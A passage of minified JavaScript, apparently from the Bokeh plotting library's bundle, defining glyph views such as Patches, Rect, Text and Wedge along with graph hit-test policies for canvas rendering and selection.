a=t[n][o],l=e[n][o];0!=a.length&&i.push({minX:u.min(a),minY:u.min(l),maxX:u.max(a),maxY:u.max(l),i:n})}return new h.SpatialIndex(i)},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.x_ranges.default,e=[t.min,t.max],i=e[0],n=e[1],r=this.renderer.plot_view.frame.y_ranges.default,o=[r.min,r.max],s=o[0],a=o[1],l=f.validate_bbox_coords([i,n],[s,a]),h=this.index.indices(l);return h.sort(function(t,e){return t-e})},e.prototype._render=function(t,e,i){var n=i.sxs,r=i.sys;this.sxss=this._build_discontinuous_object(n),this.syss=this._build_discontinuous_object(r);for(var o=0,s=e;o<s.length;o++){var a=s[o],l=[n[a],r[a]],h=l[0],u=l[1];if(this.visuals.fill.doit){this.visuals.fill.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c]+u[c])?(t.closePath(),t.fill(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.closePath(),t.fill()}if(this.visuals.line.doit){this.visuals.line.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c]+u[c])?(t.closePath(),t.stroke(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.closePath(),t.stroke()}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=[],a=0,l=o.length;a<l;a++)for(var h=o[a],u=this.sxss[h],c=this.syss[h],_=0,p=u.length;_<p;_++)f.point_in_poly(e,i,u[_],c[_])&&s.push(h);var d=f.create_empty_hit_test_result();return d.indices=s,d},e.prototype._get_snap_coord=function(t){return s.sum(t)/t.length},e.prototype.scenterx=function(t,e,i){if(1==this.sxss[t].length)return this._get_snap_coord(this.sxs[t]);for(var n=this.sxss[t],r=this.syss[t],o=0,s=n.length;o<s;o++)if(f.point_in_poly(e,i,n[o],r[o]))return this._get_snap_coord(n[o]);throw new Error(\\\"unreachable code\\\")},e.prototype.scentery=function(t,e,i){if(1==this.syss[t].length)return this._get_snap_coord(this.sys[t]);for(var n=this.sxss[t],r=this.syss[t],o=0,s=n.length;o<s;o++)if(f.point_in_poly(e,i,n[o],r[o]))return this._get_snap_coord(r[o]);throw new Error(\\\"unreachable code\\\")},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.PatchesView=a;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Patches\\\",this.prototype.default_view=a,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.Patches=c).initClass()},function(t,e,i){var n=t(391),r=t(118),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.get_anchor_point=function(t,e,i){var n=Math.min(this.sleft[e],this.sright[e]),r=Math.max(this.sright[e],this.sleft[e]),o=Math.min(this.stop[e],this.sbottom[e]),s=Math.max(this.sbottom[e],this.stop[e]);switch(t){case\\\"top_left\\\":return{x:n,y:o};case\\\"top_center\\\":return{x:(n+r)/2,y:o};case\\\"top_right\\\":return{x:r,y:o};case\\\"center_right\\\":return{x:r,y:(o+s)/2};case\\\"bottom_right\\\":return{x:r,y:s};case\\\"bottom_center\\\":return{x:(n+r)/2,y:s};case\\\"bottom_left\\\":return{x:n,y:s};case\\\"center_left\\\":return{x:n,y:(o+s)/2};case\\\"center\\\":return{x:(n+r)/2,y:(o+s)/2};default:return null}},e.prototype.scenterx=function(t){return(this.sleft[t]+this.sright[t])/2},e.prototype.scentery=function(t){return(this.stop[t]+this.sbottom[t])/2},e.prototype._index_data=function(){return this._index_box(this._right.length)},e.prototype._lrtb=function(t){var e=this._left[t],i=this._right[t],n=this._top[t],r=this._bottom[t];return[e,i,n,r]},e}(r.BoxView);i.QuadView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Quad\\\",this.prototype.default_view=o,this.coords([[\\\"right\\\",\\\"bottom\\\"],[\\\"left\\\",\\\"top\\\"]])},t}(r.Box);(i.Quad=s).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143);function u(t,e,i){if(e==(t+i)/2)return[t,i];var n=(t-e)/(t-2*e+i),r=t*Math.pow(1-n,2)+2*e*(1-n)*n+i*Math.pow(n,2);return[Math.min(t,i,r),Math.max(t,i,r)]}var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++)if(!isNaN(this._x0[e]+this._x1[e]+this._y0[e]+this._y1[e]+this._cx[e]+this._cy[e])){var n=u(this._x0[e],this._cx[e],this._x1[e]),r=n[0],o=n[1],s=u(this._y0[e],this._cy[e],this._y1[e]),a=s[0],l=s[1];t.push({minX:r,minY:a,maxX:o,maxY:l,i:e})}return new h.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1,a=i.scx,l=i.scy;if(this.visuals.line.doit)for(var h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c]+l[c])||(t.beginPath(),t.moveTo(n[c],r[c]),t.quadraticCurveTo(a[c],l[c],o[c],s[c]),this.visuals.line.set_vectorize(t,c),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.QuadraticView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Quadratic\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"],[\\\"cx\\\",\\\"cy\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Quadratic=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.length.units?this.slength=this.sdist(this.renderer.xscale,this._x,this._length):this.slength=this._length},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.slength,s=i._angle;if(this.visuals.line.doit){for(var a=this.renderer.plot_view.frame._width.value,l=this.renderer.plot_view.frame._height.value,h=2*(a+l),u=0,c=o.length;u<c;u++)0==o[u]&&(o[u]=h);for(var _=0,p=e;_<p.length;_++){var u=p[_];isNaN(n[u]+r[u]+s[u]+o[u])||(t.translate(n[u],r[u]),t.rotate(s[u]),t.beginPath(),t.moveTo(0,0),t.lineTo(o[u],0),this.visuals.line.set_vectorize(t,u),t.stroke(),t.rotate(-s[u]),t.translate(-n[u],-r[u]))}}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.RayView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ray\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({length:[s.DistanceSpec],angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Ray=l).initClass()},function(t,e,i){var n=t(391),r=t(119),o=t(143),T=t(9),s=t(15),A=t(22),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_data=function(){this.max_w2=0,\\\"data\\\"==this.model.properties.width.units&&(this.max_w2=this.max_width/2),this.max_h2=0,\\\"data\\\"==this.model.properties.height.units&&(this.max_h2=this.max_height/2)},e.prototype._map_data=function(){var t,e;if(\\\"data\\\"==this.model.properties.width.units)t=this._map_dist_corner_for_data_side_length(this._x,this._width,this.renderer.xscale),this.sw=t[0],this.sx0=t[1];else{this.sw=this._width;var i=this.sx.length;this.sx0=new Float64Array(i);for(var n=0;n<i;n++)this.sx0[n]=this.sx[n]-this.sw[n]/2}if(\\\"data\\\"==this.model.properties.height.units)e=this._map_dist_corner_for_data_side_length(this._y,this._height,this.renderer.yscale),this.sh=e[0],this.sy1=e[1];else{this.sh=this._height;var r=this.sy.length;this.sy1=new Float64Array(r);for(var n=0;n<r;n++)this.sy1[n]=this.sy[n]-this.sh[n]/2}var o=this.sw.length;this.ssemi_diag=new Float64Array(o);for(var n=0;n<o;n++)this.ssemi_diag[n]=Math.sqrt(this.sw[n]/2*this.sw[n]/2+this.sh[n]/2*this.sh[n]/2)},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.sx0,s=i.sy1,a=i.sw,l=i.sh,h=i._angle;if(this.visuals.fill.doit)for(var u=0,c=e;u<c.length;u++){var _=c[u];isNaN(n[_]+r[_]+o[_]+s[_]+a[_]+l[_]+h[_])||(this.visuals.fill.set_vectorize(t,_),h[_]?(t.translate(n[_],r[_]),t.rotate(h[_]),t.fillRect(-a[_]/2,-l[_]/2,a[_],l[_]),t.rotate(-h[_]),t.translate(-n[_],-r[_])):t.fillRect(o[_],s[_],a[_],l[_]))}if(this.visuals.line.doit){t.beginPath();for(var p=0,d=e;p<d.length;p++){var _=d[p];isNaN(n[_]+r[_]+o[_]+s[_]+a[_]+l[_]+h[_])||0!=a[_]&&0!=l[_]&&(h[_]?(t.translate(n[_],r[_]),t.rotate(h[_]),t.rect(-a[_]/2,-l[_]/2,a[_],l[_]),t.rotate(-h[_]),t.translate(-n[_],-r[_])):t.rect(o[_],s[_],a[_],l[_]),this.visuals.line.set_vectorize(t,_),t.stroke(),t.beginPath())}t.stroke()}},e.prototype._hit_rect=function(t){return this._hit_rect_against_index(t)},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=[],s=0,a=this.sx0.length;s<a;s++)o.push(this.sx0[s]+this.sw[s]/2);for(var l=[],s=0,a=this.sy1.length;s<a;s++)l.push(this.sy1[s]+this.sh[s]/2);for(var h=A.max(this._ddist(0,o,this.ssemi_diag)),u=A.max(this._ddist(1,l,this.ssemi_diag)),c=n-h,_=n+h,p=r-u,d=r+u,f=[],v=T.validate_bbox_coords([c,_],[p,d]),m=0,g=this.index.indices(v);m<g.length;m++){var s=g[m],y=void 0,b=void 0;if(this._angle[s]){var x=Math.sin(-this._angle[s]),w=Math.cos(-this._angle[s]),k=w*(e-this.sx[s])-x*(i-this.sy[s])+this.sx[s],S=x*(e-this.sx[s])+w*(i-this.sy[s])+this.sy[s];e=k,i=S,b=Math.abs(this.sx[s]-e)<=this.sw[s]/2,y=Math.abs(this.sy[s]-i)<=this.sh[s]/2}else b=e-this.sx0[s]<=this.sw[s]&&0<=e-this.sx0[s],y=i-this.sy1[s]<=this.sh[s]&&0<=i-this.sy1[s];y&&b&&f.push(s)}var C=T.create_empty_hit_test_result();return C.indices=f,C},e.prototype._map_dist_corner_for_data_side_length=function(t,e,i){for(var n=t.length,r=new Float64Array(n),o=new Float64Array(n),s=0;s<n;s++)r[s]=Number(t[s])-e[s]/2,o[s]=Number(t[s])+e[s]/2;for(var a=i.v_compute(r),l=i.v_compute(o),h=this.sdist(i,r,e,\\\"edge\\\",this.model.dilate),u=a,s=0,c=a.length;s<c;s++)if(a[s]!=l[s]){u=a[s]<l[s]?a:l;break}return[h,u]},e.prototype._ddist=function(t,e,i){for(var n=0==t?this.renderer.xscale:this.renderer.yscale,r=e,o=r.length,s=new Float64Array(o),a=0;a<o;a++)s[a]=r[a]+i[a];for(var l=n.v_invert(r),h=n.v_invert(s),u=l.length,c=new Float64Array(u),a=0;a<u;a++)c[a]=Math.abs(h[a]-l[a]);return c},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._bounds=function(t){var e=t.minX,i=t.maxX,n=t.minY,r=t.maxY;return{minX:e-this.max_w2,maxX:i+this.max_w2,minY:n-this.max_h2,maxY:r+this.max_h2}},e}(r.CenterRotatableView);i.RectView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Rect\\\",this.prototype.default_view=a,this.define({dilate:[s.Bool,!1]})},t}(r.CenterRotatable);(i.Rect=l).initClass()},function(t,e,i){var n=t(391),k=t(9),a=t(37),r=t(123),o=t(143),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++){var n=this._x0[e],r=this._x1[e],o=this._y0[e],s=this._y1[e];isNaN(n+r+o+s)||t.push({minX:Math.min(n,r),minY:Math.min(o,s),maxX:Math.max(n,r),maxY:Math.max(o,s),i:e})}return new a.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1;if(this.visuals.line.doit)for(var a=0,l=e;a<l.length;a++){var h=l[a];isNaN(n[h]+r[h]+o[h]+s[h])||(t.beginPath(),t.moveTo(n[h],r[h]),t.lineTo(o[h],s[h]),this.visuals.line.set_vectorize(t,h),t.stroke())}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n={x:e,y:i},r=[],o=this.renderer.xscale.r_invert(e-2,e+2),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(i-2,i+2),h=l[0],u=l[1],c=this.index.indices({minX:s,minY:h,maxX:a,maxY:u}),_=0,p=c;_<p.length;_++){var d=p[_],f=Math.pow(Math.max(2,this.visuals.line.cache_select(\\\"line_width\\\",d)/2),2),v={x:this.sx0[d],y:this.sy0[d]},m={x:this.sx1[d],y:this.sy1[d]},g=k.dist_to_segment_squared(n,v,m);g<f&&r.push(d)}var y=k.create_empty_hit_test_result();return y.indices=r,y},e.prototype._hit_span=function(t){var e,i,n,r,o,s=this.renderer.plot_view.frame.bbox.ranges,a=s[0],l=s[1],h=t.sx,u=t.sy;\\\"v\\\"==t.direction?(o=this.renderer.yscale.invert(u),e=[this._y0,this._y1],n=e[0],r=e[1]):(o=this.renderer.xscale.invert(h),i=[this._x0,this._x1],n=i[0],r=i[1]);for(var c=[],_=this.renderer.xscale.r_invert(a.start,a.end),p=_[0],d=_[1],f=this.renderer.yscale.r_invert(l.start,l.end),v=f[0],m=f[1],g=this.index.indices({minX:p,minY:v,maxX:d,maxY:m}),y=0,b=g;y<b.length;y++){var x=b[y];(n[x]<=o&&o<=r[x]||r[x]<=o&&o<=n[x])&&c.push(x)}var w=k.create_empty_hit_test_result();return w.indices=c,w},e.prototype.scenterx=function(t){return(this.sx0[t]+this.sx1[t])/2},e.prototype.scentery=function(t){return(this.sy0[t]+this.sy1[t])/2},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.SegmentView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Segment\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Segment=l).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n,r,o,s,a,l,h=i.sx,u=i.sy,c=!1,_=null;this.visuals.line.set_value(t);var p=e.length;if(!(p<2)){t.beginPath(),t.moveTo(h[0],u[0]);for(var d=0,f=e;d<f.length;d++){var v=f[d],m=void 0,g=void 0,y=void 0,b=void 0;switch(this.model.mode){case\\\"before\\\":n=[h[v-1],u[v]],m=n[0],y=n[1],r=[h[v],u[v]],g=r[0],b=r[1];break;case\\\"after\\\":o=[h[v],u[v-1]],m=o[0],y=o[1],s=[h[v],u[v]],g=s[0],b=s[1];break;case\\\"center\\\":var x=(h[v-1]+h[v])/2;a=[x,u[v-1]],m=a[0],y=a[1],l=[x,u[v]],g=l[0],b=l[1];break;default:throw new Error(\\\"unexpected\\\")}if(c){if(!isFinite(h[v]+u[v])){t.stroke(),t.beginPath(),c=!1,_=v;continue}null!=_&&1<v-_&&(t.stroke(),c=!1)}c?(t.lineTo(m,y),t.lineTo(g,b)):(t.beginPath(),t.moveTo(h[v],u[v]),c=!0),_=v}t.lineTo(h[p-1],u[p-1]),t.stroke()}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.StepView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Step\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({mode:[s.StepMode,\\\"before\\\"]})},t}(r.XYGlyph);(i.Step=l).initClass()},function(t,e,i){var n=t(391),r=t(146),d=t(9),o=t(15),O=t(41),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._rotate_point=function(t,e,i,n,r){var o=(t-i)*Math.cos(r)-(e-n)*Math.sin(r)+i,s=(t-i)*Math.sin(r)+(e-n)*Math.cos(r)+n;return[o,s]},e.prototype._text_bounds=function(t,e,i,n){var r=[t,t+i,t+i,t,t],o=[e,e,e-n,e-n,e];return[r,o]},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i._x_offset,s=i._y_offset,a=i._angle,l=i._text;this._sys=[],this._sxs=[];for(var h=0,u=e;h<u.length;h++){var c=u[h];if(!isNaN(n[c]+r[c]+o[c]+s[c]+a[c])&&null!=l[c]&&(this._sxs[c]=[],this._sys[c]=[],this.visuals.text.doit)){var _=\\\"\\\"+l[c];t.save(),t.translate(n[c]+o[c],r[c]+s[c]),t.rotate(a[c]),this.visuals.text.set_vectorize(t,c);var p=this.visuals.text.cache_select(\\\"font\\\",c),d=O.get_text_height(p).height,f=this.visuals.text.text_line_height.value()*d;if(-1==_.indexOf(\\\"\\\\n\\\")){t.fillText(_,0,0);var v=n[c]+o[c],m=r[c]+s[c],g=t.measureText(_).width,y=this._text_bounds(v,m,g,f),b=y[0],x=y[1];this._sxs[c].push(b),this._sys[c].push(x)}else{var w=_.split(\\\"\\\\n\\\"),k=f*w.length,S=this.visuals.text.cache_select(\\\"text_baseline\\\",c),C=void 0;switch(S){case\\\"top\\\":C=0;break;case\\\"middle\\\":C=-k/2+f/2;break;case\\\"bottom\\\":C=-k+f;break;default:C=0,console.warn(\\\"'\\\"+S+\\\"' baseline not supported with multi line text\\\")}for(var T=0,A=w;T<A.length;T++){var E=A[T];t.fillText(E,0,C);var v=n[c]+o[c],m=C+r[c]+s[c],g=t.measureText(E).width,M=this._text_bounds(v,m,g,f),b=M[0],x=M[1];this._sxs[c].push(b),this._sys[c].push(x),C+=f}}t.restore()}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=[],r=0;r<this._sxs.length;r++)for(var o=this._sxs[r],s=this._sys[r],a=o.length,l=0,h=a;l<h;l++){var u=this._rotate_point(e,i,o[a-1][0],s[a-1][0],-this._angle[r]),c=u[0],_=u[1];d.point_in_poly(c,_,o[l],s[l])&&n.push(r)}var p=d.create_empty_hit_test_result();return p.indices=n,p},e.prototype._scenterxy=function(t){var e=this._sxs[t][0][0],i=this._sys[t][0][0],n=(this._sxs[t][0][2]+e)/2,r=(this._sys[t][0][2]+i)/2,o=this._rotate_point(n,r,e,i,this._angle[t]),s=o[0],a=o[1];return{x:s,y:a}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.TextView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Text\\\",this.prototype.default_view=s,this.mixins([\\\"text\\\"]),this.define({text:[o.StringSpec,{field:\\\"text\\\"}],angle:[o.AngleSpec,0],x_offset:[o.NumberSpec,0],y_offset:[o.NumberSpec,0]})},t}(r.XYGlyph);(i.Text=a).initClass()},function(t,e,i){var x=t(9);i.generic_line_legend=function(t,e,i,n){var r=i.x0,o=i.x1,s=i.y0,a=i.y1;e.save(),e.beginPath(),e.moveTo(r,(s+a)/2),e.lineTo(o,(s+a)/2),t.line.doit&&(t.line.set_vectorize(e,n),e.stroke()),e.restore()},i.generic_area_legend=function(t,e,i,n){var r=i.x0,o=i.x1,s=i.y0,a=i.y1,l=.1*Math.abs(o-r),h=.1*Math.abs(a-s),u=r+l,c=o-l,_=s+h,p=a-h;t.fill.doit&&(t.fill.set_vectorize(e,n),e.fillRect(u,_,c-u,p-_)),t.line.doit&&(e.beginPath(),e.rect(u,_,c-u,p-_),t.line.set_vectorize(e,n),e.stroke())},i.line_interpolation=function(t,e,i,n,r,o){var s,a,l,h,u,c,_,p,d,f,v=e.sx,m=e.sy;\\\"point\\\"==e.type?(s=t.yscale.r_invert(m-1,m+1),d=s[0],f=s[1],a=t.xscale.r_invert(v-1,v+1),_=a[0],p=a[1]):\\\"v\\\"==e.direction?(l=t.yscale.r_invert(m,m),d=l[0],f=l[1],h=[Math.min(i-1,r-1),Math.max(i+1,r+1)],_=h[0],p=h[1]):(u=t.xscale.r_invert(v,v),_=u[0],p=u[1],c=[Math.min(n-1,o-1),Math.max(n+1,o+1)],d=c[0],f=c[1]);var g=x.check_2_segments_intersect(_,d,p,f,i,n,r,o),y=g.x,b=g.y;return[y,b]}},function(t,e,i){var n=t(391),r=t(118),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return(this.stop[t]+this.sbottom[t])/2},e.prototype._index_data=function(){return this._index_box(this._x.length)},e.prototype._lrtb=function(t){var e=this._x[t]-this._width[t]/2,i=this._x[t]+this._width[t]/2,n=Math.max(this._top[t],this._bottom[t]),r=Math.min(this._top[t],this._bottom[t]);return[e,i,n,r]},e.prototype._map_data=function(){this.sx=this.renderer.xscale.v_compute(this._x),this.sw=this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"),this.stop=this.renderer.yscale.v_compute(this._top),this.sbottom=this.renderer.yscale.v_compute(this._bottom);var t=this.sx.length;this.sleft=new Float64Array(t),this.sright=new Float64Array(t);for(var e=0;e<t;e++)this.sleft[e]=this.sx[e]-this.sw[e]/2,this.sright[e]=this.sx[e]+this.sw[e]/2;this._clamp_viewport()},e}(r.BoxView);i.VBarView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"VBar\\\",this.prototype.default_view=s,this.coords([[\\\"x\\\",\\\"bottom\\\"]]),this.define({width:[o.DistanceSpec],top:[o.NumberSpec]}),this.override({bottom:0})},t}(r.Box);(i.VBar=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),P=t(9),s=t(15),j=t(31),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.radius.units?this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius):this.sradius=this._radius},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sradius,s=i._start_angle,a=i._end_angle,l=this.model.properties.direction.value(),h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c])||(t.beginPath(),t.arc(n[c],r[c],o[c],s[c],a[c],l),t.lineTo(n[c],r[c]),t.closePath(),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,c),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,c),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d=t.sx,f=t.sy,v=this.renderer.xscale.invert(d),m=this.renderer.yscale.invert(f),g=2*this.max_radius;\\\"data\\\"===this.model.properties.radius.units?(u=v-g,c=v+g,_=m-g,p=m+g):(s=d-g,a=d+g,e=this.renderer.xscale.r_invert(s,a),u=e[0],c=e[1],l=f-g,h=f+g,i=this.renderer.yscale.r_invert(l,h),_=i[0],p=i[1]);for(var y=[],b=P.validate_bbox_coords([u,c],[_,p]),x=0,w=this.index.indices(b);x<w.length;x++){var k=w[x],S=Math.pow(this.sradius[k],2);n=this.renderer.xscale.r_compute(v,this._x[k]),s=n[0],a=n[1],r=this.renderer.yscale.r_compute(m,this._y[k]),l=r[0],h=r[1],(o=Math.pow(s-a,2)+Math.pow(l-h,2))<=S&&y.push([k,o])}for(var C=this.model.properties.direction.value(),T=[],A=0,E=y;A<E.length;A++){var M=E[A],k=M[0],O=M[1],z=Math.atan2(f-this.sy[k],d-this.sx[k]);j.angle_between(-z,-this._start_angle[k],-this._end_angle[k],C)&&T.push([k,O])}return P.create_hit_test_result_from_hits(T)},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._scenterxy=function(t){var e=this.sradius[t]/2,i=(this._start_angle[t]+this._end_angle[t])/2;return{x:this.sx[t]+e*Math.cos(i),y:this.sy[t]+e*Math.sin(i)}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.WedgeView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Wedge\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Wedge=l).initClass()},function(t,e,i){var n=t(391),o=t(37),r=t(123),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x.length;e<i;e++){var n=this._x[e],r=this._y[e];!isNaN(n+r)&&isFinite(n+r)&&t.push({minX:n,minY:r,maxX:n,maxY:r,i:e})}return new o.SpatialIndex(t)},e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return this.sy[t]},e}(r.GlyphView);i.XYGlyphView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"XYGlyph\\\",this.coords([[\\\"x\\\",\\\"y\\\"]])},t}(r.Glyph);(i.XYGlyph=a).initClass()},function(t,e,i){var n=t(391),r=t(59),u=t(22),c=t(21),_=t(9),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GraphHitTestPolicy\\\"},t.prototype._hit_test_nodes=function(t,e){if(!e.model.visible)return null;var i=e.node_view.glyph.hit_test(t);return null==i?null:e.node_view.model.view.convert_selection_from_subset(i)},t.prototype._hit_test_edges=function(t,e){if(!e.model.visible)return null;var i=e.edge_view.glyph.hit_test(t);return null==i?null:e.edge_view.model.view.convert_selection_from_subset(i)},t}(r.Model),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NodesOnly\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_nodes(t,e)},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.node_renderer.data_source.selected;return r.update(t,i,n),e.node_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.model.get_selection_manager().get_or_create_inspector(i.node_view.model);return o.update(t,n,r),i.node_view.model.data_source.setv({inspected:o},{silent:!0}),i.node_view.model.data_source.inspect.emit([i.node_view,{geometry:e}]),!o.is_empty()},t}(i.GraphHitTestPolicy=o);(i.NodesOnly=s).initClass();var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NodesAndLinkedEdges\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_nodes(t,e)},t.prototype.get_linked_edges=function(e,t,i){var n=[];\\\"selection\\\"==i?n=e.selected.indices.map(function(t){return e.data.index[t]}):\\\"inspection\\\"==i&&(n=e.inspected.indices.map(function(t){return e.data.index[t]}));for(var r=[],o=0;o<t.data.start.length;o++)(c.contains(n,t.data.start[o])||c.contains(n,t.data.end[o]))&&r.push(o);for(var s=_.create_empty_hit_test_result(),a=0,l=r;a<l.length;a++){var o=l[a];s.multiline_indices[o]=[0]}return s.indices=r,s},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.node_renderer.data_source.selected;r.update(t,i,n);var o=e.edge_renderer.data_source.selected,s=this.get_linked_edges(e.node_renderer.data_source,e.edge_renderer.data_source,\\\"selection\\\");return o.update(s,i,n),e.node_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.node_view.model.data_source.selection_manager.get_or_create_inspector(i.node_view.model);o.update(t,n,r),i.node_view.model.data_source.setv({inspected:o},{silent:!0});var s=i.edge_view.model.data_source.selection_manager.get_or_create_inspector(i.edge_view.model),a=this.get_linked_edges(i.node_view.model.data_source,i.edge_view.model.data_source,\\\"inspection\\\");return s.update(a,n,r),i.edge_view.model.data_source.setv({inspected:s},{silent:!0}),i.node_view.model.data_source.inspect.emit([i.node_view,{geometry:e}]),!o.is_empty()},t}(o);(i.NodesAndLinkedEdges=a).initClass();var l=function(e){function t(t){return e.call(this,t)||this}return 